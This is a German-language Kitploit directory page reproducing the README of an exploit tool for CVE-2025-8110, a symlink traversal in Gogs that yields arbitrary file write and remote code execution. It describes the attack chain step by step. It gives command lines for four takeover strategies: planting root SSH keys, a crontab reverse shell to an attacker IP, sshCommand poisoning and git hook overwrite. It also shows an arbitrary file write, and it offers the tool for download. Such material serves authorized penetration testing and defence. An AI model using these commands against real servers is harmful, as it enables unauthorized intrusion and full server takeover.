Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-8110 — Gogs Symlink Traversal → RCE | Kitploit
Tools/GitHubGitHub/popyue/cve-2025-8110
Privilege EscalationVulnerability AnalysisExploitationLateral MovementWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubpopyue/cve-2025-8110

CVE-2025-8110

Gogs Symlink Traversal → RCE

vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

CVE-2025-8110 — Symlink-Pfad-Traversal in Gogs → RCE

Überblick

CVE-2025-8110 ist eine kritische Schwachstelle im Gogs (selbst gehosteter Git-Dienst) in Versionen <= 0.13.3. Die PutContents-API validiert Dateipfade auf Verzeichnis-Traversal (../), löst jedoch keine symbolischen Links vor dem Schreiben auf. Ein authentifizierter Benutzer kann einen Commit mit einem Symlink, der auf eine beliebige Serverdatei verweist, pushen und dann PutContents auf diesen Symlink aufrufen, um die echte Datei mit vom Angreifer kontrolliertem Inhalt zu überschreiben.

Dies ist eine Umgehung des früheren Fixes für CVE-2024-55947, der nur direktes Pfad-Traversal, aber kein symlink-basiertes Traversal adressierte.

DetailWert
CVECVE-2025-8110
BetroffenGogs <= 0.13.3
BehobenGogs 0.13.4
TypAuthentifiziertes beliebiges Dateischreiben → RCE
CVSS8.8 (Hoch)
KomponentePutContents API (/api/v1/repos/:owner/:repo/contents/:path)

Voraussetzungen

  • Python 3.8+
  • requests (pip install requests)
  • git CLI
  • Ein gültiges Gogs-Konto auf der Zielinstanz

RCE-Strategien

Dieses Exploit unterstützt 4 eingebaute RCE-Strategien sowie einen generischen Dateischreibmodus:

Verwendung

root@kitploit:~
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only

# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-keys ~/.ssh/id_rsa.pub --cleanup

# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-cron --lhost 10.10.14.5 --lport 4444

# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-ssh --lhost 10.10.14.5 --lport 4444

# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-hook --lhost 10.10.14.5 --lport 4444

# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /tmp/pwned --content "proof-of-concept"

# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /root/.ssh/authorized_keys \
    --content-file ~/.ssh/id_rsa.pub

Angriffskette im Detail

  1. Authentifizieren — API-Token über Basic Auth erstellen (POST /api/v1/users/:user/tokens) - Anmeldung über API-Token (Basic Auth)
  2. Repository erstellen — POST /api/v1/user/repos mit auto_init: true (POST /api/v1/user/repos (auto_init))
  3. Symlink pushen — Repository per HTTP klonen (Anmeldedaten in URL eingebettet), Symlink erstellen, der auf die Zieldatei zeigt, commit & push (git clone -> os.symlink(target) -> git push)
  4. Durch Symlink schreiben — PUT /api/v1/repos/:owner/:repo/contents/:link mit base64-kodiertem Inhalt. Gogs löst den Symlink auf der Festplatte auf und schreibt in die echte Datei (PUT /api/v1/repos/.../contents/linkn_ame)
  5. RCE auslösen — RCE-Auslöser hängt von der Strategie ab (SSH-Anmeldung, Cron-Ausführung, sshCommand-Auswertung oder Hook-Ausführung)

Optionen

root@kitploit:~
target                  Gogs-Basis-URL (z.B. http://target:3000)

Authentifizierung:
  -u, --user            Gogs-Benutzername
  -p, --password        Gogs-Passwort

RCE-Strategien:
  --rce-keys PUBKEY     SSH-öffentlichen Schlüssel einpflanzen → /root/.ssh/authorized_keys
  --rce-cron            Reverse Shell → /etc/crontab
  --rce-ssh             .git/config sshCommand vergiften + auslösen
  --rce-hook            pre-receive Hook überschreiben + auslösen
  --write               Allgemeines beliebiges Dateischreiben

Verbindung / Nutzlast:
  --lhost LHOST         Angreifer-IP für Reverse Shell
  --lport LPORT         Angreifer-Port für Reverse Shell
  --target-file PATH    Serverpfad zum Überschreiben (--write-Modus)
  --content STRING      Inhalt zum Schreiben
  --content-file DATEI  Lokale Datei zum Schreiben

Optionen:
  --repo NAME           Repository-Name (Standard: zufällig)
  --cleanup             Exploit-Repository nach Abschluss löschen
  -o, --output DATEI    Berichtsdatei (Standard: loot.json)
  --timeout SEKUNDEN    Anfrage-Timeout (Standard: 15)
  --proxy URL           HTTP-Proxy zum Debuggen
  --check-only          Nur prüfen, ob Ziel Gogs ist, nicht ausnutzen

Referenzen

  • Wiz Research Blog
  • NVD — CVE-2025-8110
  • Gogs Patch PR #8078
  • GHSA-mq8m-42gh-wq7r

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben.

Tool herunterladen
StrategieFlagZieldateiAuslöser
A — SSH-Schlüssel--rce-keys/root/.ssh/authorized_keysSSH-Anmeldung
B — Crontab--rce-cron/etc/crontabAutomatisch (innerhalb von 60s)
C — sshCommand--rce-ssh.git/configSSH-Git-Operation
D — Git-Hook--rce-hookhooks/pre-receivegit push
Allgemein--writeBeliebiger PfadManuell